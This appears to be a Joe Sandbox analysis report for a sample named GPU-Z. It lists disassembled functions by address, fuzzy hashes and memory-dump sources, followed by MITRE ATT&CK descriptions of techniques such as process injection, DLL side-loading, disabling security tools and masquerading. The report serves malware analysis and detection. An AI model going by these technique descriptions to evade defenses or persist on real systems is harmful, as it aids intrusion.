Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-693420146
Opcode ID: 75100091a69c33cbac4382a05e823c590f810e43929debe7d5d883e5e47ce258
Instruction ID: e20483de248a5a5d77873426d2b0f10e06959da606f54ada364f5a6ce12ed168
Opcode Fuzzy Hash: 75100091a69c33cbac4382a05e823c590f810e43929debe7d5d883e5e47ce258
Instruction Fuzzy Hash: E4613AB1D1524ADFCB04CF99C5816EEFBB6BF89310F18941AE465A7204D7389A41CF98

Function 07FE4DB0 Relevance: 2.6, Strings: 2, Instructions: 113COMMON

Download Yara Rule

Strings

}\%G, xrefs: 07FE4E02
A{]z, xrefs: 07FE4E93

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: A{]z$}\%G
API String ID: 0-4271377017
Opcode ID: 42b53dd108b8bf2b471be7b6e1d1a0a519c4babf1411091e720223a0541e0ed7
Instruction ID: 1e266dd89d64f962475e0652dc72dfbacdea3517db55b4059e347c6b14b8eeb4
Opcode Fuzzy Hash: 42b53dd108b8bf2b471be7b6e1d1a0a519c4babf1411091e720223a0541e0ed7
Instruction Fuzzy Hash: 8D4108B1D1424ADFCB58CFAAC5805AEFBF6BF89310F28D42AD415B7254E3349A418F94

Function 07FE4DA1 Relevance: 2.6, Strings: 2, Instructions: 113COMMON

Download Yara Rule

Strings

}\%G, xrefs: 07FE4E02
A{]z, xrefs: 07FE4E93

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: A{]z$}\%G
API String ID: 0-4271377017
Opcode ID: b58d8ee93cbd20fa60aa7201c262217d4d81f175e10dc821825e6f012bd561e7
Instruction ID: 452f96bb5e3c5076eba3ba552d6b77f68008d216084151f1f2ee296d223c96a4
Opcode Fuzzy Hash: b58d8ee93cbd20fa60aa7201c262217d4d81f175e10dc821825e6f012bd561e7
Instruction Fuzzy Hash: 5A4128B1E1424ADFCB58CFAAC4805AEFBF2BF89310F28D52AD415B7254E33496418F94

Function 07FE4708 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

yS^Z, xrefs: 07FE4832

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: yS^Z
API String ID: 0-4128205011
Opcode ID: f806cd7050657c91359409e7a6dd0d77bbb26b3d867541797ce7f80365fa4268
Instruction ID: fb51788605e41a51cb7756efa235b5e39495459560d0e95ffb569f06256f65e8
Opcode Fuzzy Hash: f806cd7050657c91359409e7a6dd0d77bbb26b3d867541797ce7f80365fa4268
Instruction Fuzzy Hash: 597106B4D2424ADFCB44CF99C5848AEFBB6FF4A310F189569E425AB314C334A981CF95

Function 07FE46F8 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

yS^Z, xrefs: 07FE4832

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: yS^Z
API String ID: 0-4128205011
Opcode ID: 2b2f874ac162a3c971aa17e67477de56258c03744513f07f02f8d53f4f7ccbec
Instruction ID: 543d9d110c843a74a8e7a1c7425975c91ff08091925439db6a8da8ea268615ec
Opcode Fuzzy Hash: 2b2f874ac162a3c971aa17e67477de56258c03744513f07f02f8d53f4f7ccbec
Instruction Fuzzy Hash: E761F9B4D1524A9FCB04CFA9C5848AEFBF5FF4A310F18856AE425AB311C334A981CF95

Function 05836410 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2855402098.0000000005830000.00000040.00000800.00020000.00000000.sdmp, Offset: 05830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5830000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a5b07c96716cd25343365a5d243d852796db306ea03b030ab540d3c403742ab
Instruction ID: de6951f0bdfeeba13a9baab598c5a4dbb0d349c40fd5d34be78656a6ab3dbe84
Opcode Fuzzy Hash: 8a5b07c96716cd25343365a5d243d852796db306ea03b030ab540d3c403742ab
Instruction Fuzzy Hash: FE1284B0402B458FE710EF65F94C1893BB1FB46738B71C229D2666B2E9DBB8154ACF44

Function 08A90006 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f8179c535f9023a51a8b6386729efb48755c42fdfa9b737bc63849377db4e1
Instruction ID: 49448249086753e94961008a492b7173af0eb57dc82f8cae5dd2dea460a52463
Opcode Fuzzy Hash: 34f8179c535f9023a51a8b6386729efb48755c42fdfa9b737bc63849377db4e1
Instruction Fuzzy Hash: 9DE14831C1075A8ACB15EF64D954AADB775FF95300F20C79AD4497B220EF70AAC9CB82

Function 07FEDC50 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8be38fe77eaa339a91a06210ebd8052b0a5787ed7cb5c84fc12dc82c68de9c53
Instruction ID: 7e34cab2be4fa1c7a61df309e57a4aa92f6588e64f3e7941e680efef206068e7
Opcode Fuzzy Hash: 8be38fe77eaa339a91a06210ebd8052b0a5787ed7cb5c84fc12dc82c68de9c53
Instruction Fuzzy Hash: CAB145B1E15219CFDF08CFA9D98469DFBB6FB89300F24942AD50ABB658D7349901CF24

Function 05834A2C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2855402098.0000000005830000.00000040.00000800.00020000.00000000.sdmp, Offset: 05830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5830000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edcba841598ae08c3b97959e35dccea3c11513a22ffe22d2dcb31b50b1bebcb1
Instruction ID: 0cb9ab3736d966b95964e5d8fa7236bc0007312ac5b6fdb3d39444dcce303339
Opcode Fuzzy Hash: edcba841598ae08c3b97959e35dccea3c11513a22ffe22d2dcb31b50b1bebcb1
Instruction Fuzzy Hash: 39A16D32F002098FCF15DFA4D8495AEB7B2FF85300B15856AE806EB265DB75ED46CB90

Function 08A90040 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85c3d69c8e730108c60950615d04c24428f2df87c10c409f5bba02a700bd715b
Instruction ID: 332c2d1cc9db673f0a62f41c57e3320cedd0efb388acfdd83854f0310ef5fae7
Opcode Fuzzy Hash: 85c3d69c8e730108c60950615d04c24428f2df87c10c409f5bba02a700bd715b
Instruction Fuzzy Hash: FFD12631D1075A8ACB15EB64D954AADF375FF99300F20C79AD4097B220EF70AAC9CB81

Function 05836400 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2855402098.0000000005830000.00000040.00000800.00020000.00000000.sdmp, Offset: 05830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5830000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5bb70ead073cff5039dc076819cdbcfa00f939f6218a5c9e9321c76ff2ceca8
Instruction ID: a89ab877735add8c0c42cc82ba7eaf5e8a799a6e549ed3aec36674191306078d
Opcode Fuzzy Hash: e5bb70ead073cff5039dc076819cdbcfa00f939f6218a5c9e9321c76ff2ceca8
Instruction Fuzzy Hash: 91C1D6B04027468ED710EF64F94C1897BB1FF86338F618229D2626B2E8DBB8144ACF44

Function 07FEC690 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a317caa548d8dce3c5fb6b847f7a8f5eb053fd67750a60d241a65de57db7041a
Instruction ID: ddee31754c3612d8b99d67aca64899cb0f607f0d8779d12e9c583bc23a406e6f
Opcode Fuzzy Hash: a317caa548d8dce3c5fb6b847f7a8f5eb053fd67750a60d241a65de57db7041a
Instruction Fuzzy Hash: 7C810BB4E112198FCB14CF69D580A9EBBF6FF89310F14D1A9E418A7315D7309A41CF61

Function 07FE3C28 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39f2902deb2960a04b2d4b44c2e50067525f0d49599ce7900f330465dce37d97
Instruction ID: 04b016aa8fbf5a41167988c83e6047fba6fa0a924f8d6158af17e9b3a8a9a68f
Opcode Fuzzy Hash: 39f2902deb2960a04b2d4b44c2e50067525f0d49599ce7900f330465dce37d97
Instruction Fuzzy Hash: 587101B4E152099FCB08CF99D58499EFBF6FF89210F14846AE518AB320D730EA41CF90

Function 07FE1CC8 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 298526e98bb2ed985665bb57ef4f59c4482cd802357f5e102e50314215c27058
Instruction ID: 2424b74bd358fe3683d7d2d93d99f0ae9ab33e2877e7fe6d3146b114a5c9dcfe
Opcode Fuzzy Hash: 298526e98bb2ed985665bb57ef4f59c4482cd802357f5e102e50314215c27058
Instruction Fuzzy Hash: B9514EB4E1521E9FCB15CF99C5804EEFBFAFF8A310F248566E405BB214D730AA458B91

Function 07FE9B50 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c25a9eaa687a0637df0f91f97f9f4958c1289403d980ce1f436565293abfec1b
Instruction ID: 590dbbbb74f7d40d584d442d7d0536a6fc66600f8237ebb8ff14b398b978e17e
Opcode Fuzzy Hash: c25a9eaa687a0637df0f91f97f9f4958c1289403d980ce1f436565293abfec1b
Instruction Fuzzy Hash: 64515CB0E112198BCB14CFAAC9805AEFBF6FF89301F14D56AD518A7305D770AA41CF61

Function 07FE5FB8 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8c70673a3a8c0d9989a84be4a9ba2d99cd2bfc3674c11d49d175629f10693bc
Instruction ID: 12956199dc0c1505c617ee2f6de8570f6f331f66a1a9647c134e1773855f276f
Opcode Fuzzy Hash: e8c70673a3a8c0d9989a84be4a9ba2d99cd2bfc3674c11d49d175629f10693bc
Instruction Fuzzy Hash: 29514CB1E016188BEB58DF6B8D4479DFBF7AFC8311F14C1BA950CA6224EB341A858F11

Function 07FE5FB1 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f35eb3a14a90ed583253d5277df5e9f4b458a12de548ea34619b8bb804818216
Instruction ID: 8c7ddda4510e2c00c3939cb3e45079357f4f90ab127f899eac12fee9317e5910
Opcode Fuzzy Hash: f35eb3a14a90ed583253d5277df5e9f4b458a12de548ea34619b8bb804818216
Instruction Fuzzy Hash: F3414CB1E016188BEB58CF6B8D4479EFBF7AFC8301F14C1BA950CA6264EB3459858F51

Function 07FE5250 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0726aa82367b91430f5389b8aff1d50f2dff94b7161a6b5d563ff8467542b0e9
Instruction ID: 8e6dbfe5f2a65d3ddd6a32523822a378c4737077ac3157bfba942c7a1691784f
Opcode Fuzzy Hash: 0726aa82367b91430f5389b8aff1d50f2dff94b7161a6b5d563ff8467542b0e9
Instruction Fuzzy Hash: F341F8B1E0560ADFCB44CFAAC9405AEFBF6EF89310F24C56AC414B7254D7349A518BA4

Function 07FE5260 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b43947207a8842e6eb7ec2c8383d848e775c27ef4d81d65b9b5c213a82aeec5
Instruction ID: 25df5094233000be697e6c1b278aa89e604b99f91b7795c521e8c89c4d9f124a
Opcode Fuzzy Hash: 7b43947207a8842e6eb7ec2c8383d848e775c27ef4d81d65b9b5c213a82aeec5
Instruction Fuzzy Hash: A341D5B1E0160ADFCB44CFAAC9405AEFBF6AF89304F24C56AC418B7314D7349A51CB94

Function 07FE001F Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d127cb3e9ccd8a2cbd23cc4f9a51c3a9728f19c0e7987b7307e932c2bb701fe
Instruction ID: 5eb9e000af065b648a992ef1a2cc18d1a7b35a1dd10e1412f968bdd1a952e9f4
Opcode Fuzzy Hash: 8d127cb3e9ccd8a2cbd23cc4f9a51c3a9728f19c0e7987b7307e932c2bb701fe
Instruction Fuzzy Hash: 3C21EDB1D056958FDB19CF6B8C0029AFFF7AFC9200F18C1B7D548AA265DA3405458B51

Function 07FE53B9 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98f914d8dfd2009fc2867b06a1bd337f1f6ff873c20872cd44a86ebbf5e10b58
Instruction ID: 7e7dcde9a35a941005f1d898ad7499368d7a636b22d9e767aab4f97f4c730c71
Opcode Fuzzy Hash: 98f914d8dfd2009fc2867b06a1bd337f1f6ff873c20872cd44a86ebbf5e10b58
Instruction Fuzzy Hash: B621FCB1E056549FDB49CF6B984429EFFF3AFC9200F18C0AAD408AB264EB3546558F51

Function 07FE53FA Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7511e2d8ef18e31757eea928b4abf11bc116754a54746c595b9c232305906b8a
Instruction ID: b68bd67a1bca277ee7d6662019e13c0988e7a315cea97d4369b8489da565b0f8
Opcode Fuzzy Hash: 7511e2d8ef18e31757eea928b4abf11bc116754a54746c595b9c232305906b8a
Instruction Fuzzy Hash: 5F11DAB1E156588BEB59CF6B9C046DFFBF3AFC8200F18C17AD408A6264DB3406568F51

Function 07FE8DC8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d09fdb9f0523ed53ce2e77261a4e1efc6071c2a2f07e0d1816b65a5459ba655
Instruction ID: 12815759baae9cf72fbae3aee61152abecdde03231141cb9795db251ab4ea08e
Opcode Fuzzy Hash: 9d09fdb9f0523ed53ce2e77261a4e1efc6071c2a2f07e0d1816b65a5459ba655
Instruction Fuzzy Hash: CC115BB1E116599FDB48CFABC9406DEFAF7AFC9200F18C07AD408A7265DB344A05CB91

Function 031BB830 Relevance: 8.9, Strings: 7, Instructions: 168COMMON

Download Yara Rule

Strings

Te]q, xrefs: 031BBA1E
Te]q, xrefs: 031BB891
Te]q, xrefs: 031BBA68
Te]q, xrefs: 031BBA2E
Te]q, xrefs: 031BBA58
Te]q, xrefs: 031BB86B
Te]q, xrefs: 031BB89D

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: Te]q$Te]q$Te]q$Te]q$Te]q$Te]q$Te]q
API String ID: 0-3561445613
Opcode ID: 3fd6ab73b74bf730d3a5ca4965052b22f542c1ccaf3282b5c44c3871eebda215
Instruction ID: b2d2a0e8c46330a54ec15168ac9f2e95825c4ad53b6b4ad6aecf1153d588d758
Opcode Fuzzy Hash: 3fd6ab73b74bf730d3a5ca4965052b22f542c1ccaf3282b5c44c3871eebda215
Instruction Fuzzy Hash: A7513F70F08109DFDB08DEADD594BAEBAF6BF8C700F618429E44297794DB748C858B51

Function 031BB820 Relevance: 5.2, Strings: 4, Instructions: 153COMMON

Download Yara Rule

Strings

Te]q, xrefs: 031BBA1E
Te]q, xrefs: 031BB891
Te]q, xrefs: 031BBA58
Te]q, xrefs: 031BB86B

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: Te]q$Te]q$Te]q$Te]q
API String ID: 0-2421970617
Opcode ID: 2c8c67a8691b03cacd5d597063a2f1ec85da39eb499cecfdca16bf141834bbe4
Instruction ID: c7f8448b3fcea9f574f8c1a8366151a9f5f366cd8128c09ed00c7b29313f3a6f
Opcode Fuzzy Hash: 2c8c67a8691b03cacd5d597063a2f1ec85da39eb499cecfdca16bf141834bbe4
Instruction Fuzzy Hash: 68515D70F08109DFDB08DFADD4947AEBAF6AF8C700F658429E4429B794DB708C858B51

Function 031B72E0 Relevance: 5.1, Strings: 4, Instructions: 128COMMON

Download Yara Rule

Strings

\;]q, xrefs: 031B73D4
\;]q, xrefs: 031B7406
\;]q, xrefs: 031B73DE
\;]q, xrefs: 031B73FA

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: \;]q$\;]q$\;]q$\;]q
API String ID: 0-2351511683
Opcode ID: 18ccfcf916b00f33041a4614cab1cb9526bc8d3f3a2263e027daad983c4c2863
Instruction ID: 4d2732b7fa80357e60496e4b4cd09a921e021f544d2eacfe7d0bc2668b97a390
Opcode Fuzzy Hash: 18ccfcf916b00f33041a4614cab1cb9526bc8d3f3a2263e027daad983c4c2863
Instruction Fuzzy Hash: 7641BD317042159FC729DE3DD8949A9BBB9EFCD61071A44AAE805CB3B1DB21DC41C7A0

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

